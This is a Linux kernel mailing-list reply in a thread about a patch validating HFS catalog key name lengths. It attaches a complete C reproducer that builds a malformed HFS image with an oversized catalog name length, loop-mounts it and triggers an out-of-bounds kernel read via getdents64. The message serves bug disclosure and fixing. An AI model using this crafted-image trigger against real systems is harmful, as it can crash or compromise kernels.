* Re: [PATCH] hfs: validate catalog key name length
2026-12-03 23:48 ` Viacheslav Dubeyko
@ 2026-12-04 4:54 ` Kyuwon Cho
0 siblings, 0 replies; 3+ messages in thread
From: Kyuwon Cho @ 2026-12-04 4:54 UTC (permalink / raw)
To: Viacheslav Dubeyko, John Paul Adrian Glaubitz, Yangtao Li
Cc: linux-fsdevel, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 814 bytes --]
Hi Slava,
Thank you for the detailed review. The reproducer is attached.
It builds the crafted image itself: a small classic HFS volume whose
root directory has a leaf catalog record with CName.len set to 255. Run
it as root; it writes the image to /files/hfs.img (change IMAGE at the
top to use another path), attaches it to a loop device, mounts it
read-only at /mnt/hfs, and reads the root directory with a 48-byte
getdents64 buffer. The second getdents64 resumes at the saved key, and
hfs_brec_find() compares the two copies with the bad name length,
which KASAN reports as a slab-out-of-bounds read in hfs_strcmp().
I will send v2 along the lines you suggested: clamping both name
lengths to HFS_NAMELEN in hfs_cat_keycmp(), and checking leaf records
only, with a more informative message.
Thanks,
Kyuwon
[-- Attachment #2: reproducer.c --]
[-- Type: text/plain, Size: 7809 bytes --]
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/loop.h>
#include <linux/types.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>
#define IMAGE "/files/hfs.img"
#define MNT "/mnt/hfs"
#define SECTOR 512
#define ALLOC_START 11
struct extent { uint16_t block, count; } __attribute__((packed));
struct hfs_mdb {
uint16_t sig;
uint32_t crdate, lsmod;
uint16_t attr, root_files, bitmap_start, alloc_ptr, alloc_blocks;
uint32_t alloc_size, clump_size;
uint16_t alloc_start;
uint32_t next_cnid;
uint16_t free_blocks;
uint8_t volume_name[28];
uint32_t backup_date;
uint16_t backup_seq;
uint32_t write_count, ext_clump, cat_clump;
uint16_t root_dirs;
uint32_t file_count, dir_count;
uint8_t finder[32];
uint16_t embed_sig;
uint32_t embed_extent;
uint32_t ext_size;
struct extent ext_extents[3];
uint32_t cat_size;
struct extent cat_extents[3];
} __attribute__((packed));
struct node_desc {
uint32_t next, prev;
uint8_t type, height;
uint16_t nrec, reserved;
} __attribute__((packed));
struct btree_header {
uint16_t depth;
uint32_t root, leaf_count, leaf_head, leaf_tail;
uint16_t node_size, max_key_len;
uint32_t node_count, free_nodes;
uint16_t reserved1;
uint32_t clump_size;
uint8_t btree_type, key_type;
uint32_t attributes;
uint32_t reserved3[16];
} __attribute__((packed));
/* The on-disk classic HFS directory record is exactly 70 bytes. */
struct cat_dir {
int8_t type;
uint8_t reserved;
uint16_t flags, valence;
uint32_t id, crdate, moddate, backup;
uint8_t user_info[16], finder_info[16], tail[16];
} __attribute__((packed));
struct cat_thread {
int8_t type;
uint8_t reserved[9];
uint32_t parent;
uint8_t name_len, name[31];
} __attribute__((packed));
static void die(const char *what)
{
printf("FAIL: %s: %s\n", what, strerror(errno));
exit(1);
}
static void put16(uint8_t *p, unsigned v)
{
uint16_t x = htons((uint16_t)v);
memcpy(p, &x, sizeof(x));
}
static void write_at(int fd, const void *p, size_t n, off_t off)
{
if (pwrite(fd, p, n, off) != (ssize_t)n)
die("pwrite image");
}
static void make_header_node(uint8_t *n, int catalog)
{
struct node_desc *d = (void *)n;
struct btree_header *h = (void *)(n + sizeof(*d));
memset(n, 0, SECTOR);
d->type = 1; /* header node */
d->nrec = htons(3);
h->depth = htons(catalog ? 1 : 0);
h->root = htonl(catalog ? 1 : 0);
h->leaf_count = htonl(catalog ? 3 : 0);
h->leaf_head = htonl(catalog ? 1 : 0);
h->leaf_tail = htonl(catalog ? 1 : 0);
h->node_size = htons(SECTOR);
h->max_key_len = htons(catalog ? 37 : 7);
h->node_count = htonl(8);
h->free_nodes = htonl(catalog ? 6 : 7);
h->clump_size = htonl(4096);
/* Header record, 128-byte user record, then the node bitmap. */
n[248] = catalog ? 0xc0 : 0x80;
put16(n + 504, 504); /* free-space offset */
put16(n + 506, 248); /* record 2 */
put16(n + 508, 120); /* record 1 */
put16(n + 510, 14); /* record 0 */
}
static size_t cat_key(uint8_t *p, unsigned parent, unsigned inner_len,
const uint8_t *name, unsigned stored_len,
unsigned outer_len)
{
size_t total;
p[0] = outer_len;
p[1] = 0;
parent = htonl(parent);
memcpy(p + 2, &parent, 4);
p[6] = inner_len;
if (stored_len)
memcpy(p + 7, name, stored_len);
total = (outer_len | 1U) + 1U;
return total;
}
static void make_catalog_leaf(uint8_t *n)
{
struct node_desc *d = (void *)n;
struct cat_dir dir;
struct cat_thread th;
uint8_t vol = 'V', bad[31];
size_t off = 14;
memset(n, 0, SECTOR);
d->type = 0xff; /* leaf */
d->height = 1;
d->nrec = htons(3);
/* (parent 1, "V") -> the root directory, CNID 2. */
off += cat_key(n + off, 1, 1, &vol, 1, 7);
memset(&dir, 0, sizeof(dir));
dir.type = 1;
dir.flags = htons(0x10);
dir.valence = htons(1);
dir.id = htonl(2);
memcpy(n + off, &dir, sizeof(dir));
off += sizeof(dir); /* 92 */
/* (parent 2, empty) -> root folder thread. */
off += cat_key(n + off, 2, 0, NULL, 0, 6);
memset(&th, 0, sizeof(th));
th.type = 3;
th.parent = htonl(1);
th.name_len = 1;
th.name[0] = vol;
memcpy(n + off, &th, sizeof(th));
off += sizeof(th); /* 146 */
/* A full-size key whose Pascal length lies about its 31-byte name. */
memset(bad, 'A', sizeof(bad));
off += cat_key(n + off, 2, 255, bad, sizeof(bad), 37);
memset(&dir, 0, sizeof(dir));
dir.type = 1;
dir.flags = htons(0x10);
dir.id = htonl(16);
memcpy(n + off, &dir, sizeof(dir));
off += sizeof(dir); /* 254 */
put16(n + 504, off);
put16(n + 506, 146);
put16(n + 508, 92);
put16(n + 510, 14);
}
static void make_image(void)
{
int fd = open(IMAGE, O_RDWR | O_CREAT | O_TRUNC, 0600);
struct hfs_mdb m;
uint8_t block[4096];
unsigned blocks = 32755;
if (fd < 0)
die("open image");
if (ftruncate(fd, 16 * 1024 * 1024))
die("truncate image");
memset(&m, 0, sizeof(m));
m.sig = htons(0x4244);
m.attr = htons(1U << 8); /* cleanly unmounted */
m.bitmap_start = htons(3);
m.alloc_blocks = htons(blocks);
m.alloc_size = htonl(SECTOR);
m.clump_size = htonl(SECTOR);
m.alloc_start = htons(ALLOC_START);
m.next_cnid = htonl(17);
m.free_blocks = htons(blocks - 16);
m.volume_name[0] = 1;
m.volume_name[1] = 'V';
m.ext_clump = htonl(4096);
m.cat_clump = htonl(4096);
m.root_dirs = htons(1);
m.dir_count = htonl(2);
m.ext_size = htonl(4096);
m.ext_extents[0].block = htons(0);
m.ext_extents[0].count = htons(8);
m.cat_size = htonl(4096);
m.cat_extents[0].block = htons(8);
m.cat_extents[0].count = htons(8);
write_at(fd, &m, sizeof(m), 2 * SECTOR);
memset(block, 0, sizeof(block));
block[0] = block[1] = 0xff; /* first 16 allocation blocks */
write_at(fd, block, sizeof(block), 3 * SECTOR);
memset(block, 0, sizeof(block));
make_header_node(block, 0);
write_at(fd, block, sizeof(block), ALLOC_START * SECTOR);
memset(block, 0, sizeof(block));
make_header_node(block, 1);
make_catalog_leaf(block + SECTOR);
write_at(fd, block, sizeof(block), (ALLOC_START + 8) * SECTOR);
fsync(fd);
close(fd);
}
static int attach_loop(const char *path, char *dev, size_t devlen)
{
int img, ctl, loop, n;
struct loop_info64 li;
img = open(path, O_RDWR);
if (img < 0)
die("open completed image");
ctl = open("/dev/loop-control", O_RDWR);
if (ctl < 0)
die("open loop-control");
n = ioctl(ctl, LOOP_CTL_GET_FREE);
if (n < 0)
die("LOOP_CTL_GET_FREE");
close(ctl);
snprintf(dev, devlen, "/dev/loop%d", n);
loop = open(dev, O_RDWR);
if (loop < 0)
die("open loop device");
if (ioctl(loop, LOOP_SET_FD, img))
die("LOOP_SET_FD");
memset(&li, 0, sizeof(li));
li.lo_flags = LO_FLAGS_AUTOCLEAR;
(void)ioctl(loop, LOOP_SET_STATUS64, &li);
close(img);
return loop;
}
int main(void)
{
char dev[64], buf[4096];
int loop, dfd;
long n;
setbuf(stdout, NULL);
printf("building malformed classic HFS image\n");
make_image();
mkdir("/mnt", 0755);
mkdir(MNT, 0755);
loop = attach_loop(IMAGE, dev, sizeof(dev));
if (mount(dev, MNT, "hfs", MS_RDONLY, ""))
die("mount hfs");
printf("mounted %s; forcing hfs_readdir resume at malformed key\n", dev);
dfd = open(MNT, O_RDONLY | O_DIRECTORY);
if (dfd < 0)
die("open root directory");
/* 48 bytes fit only '.' and '..'. The failed third emit saves rd->key. */
n = syscall(SYS_getdents64, dfd, buf, 48);
printf("first getdents64 = %ld errno=%d\n", n, errno);
if (n <= 0)
die("first getdents64");
/* hfs_brec_find compares two copies carrying CName.len == 255. */
n = syscall(SYS_getdents64, dfd, buf, sizeof(buf));
printf("second getdents64 unexpectedly returned %ld errno=%d\n", n, errno);
close(dfd);
umount(MNT);
close(loop);
return 0;
}
^ permalink raw reply [flat|nested] 3+ messages in thread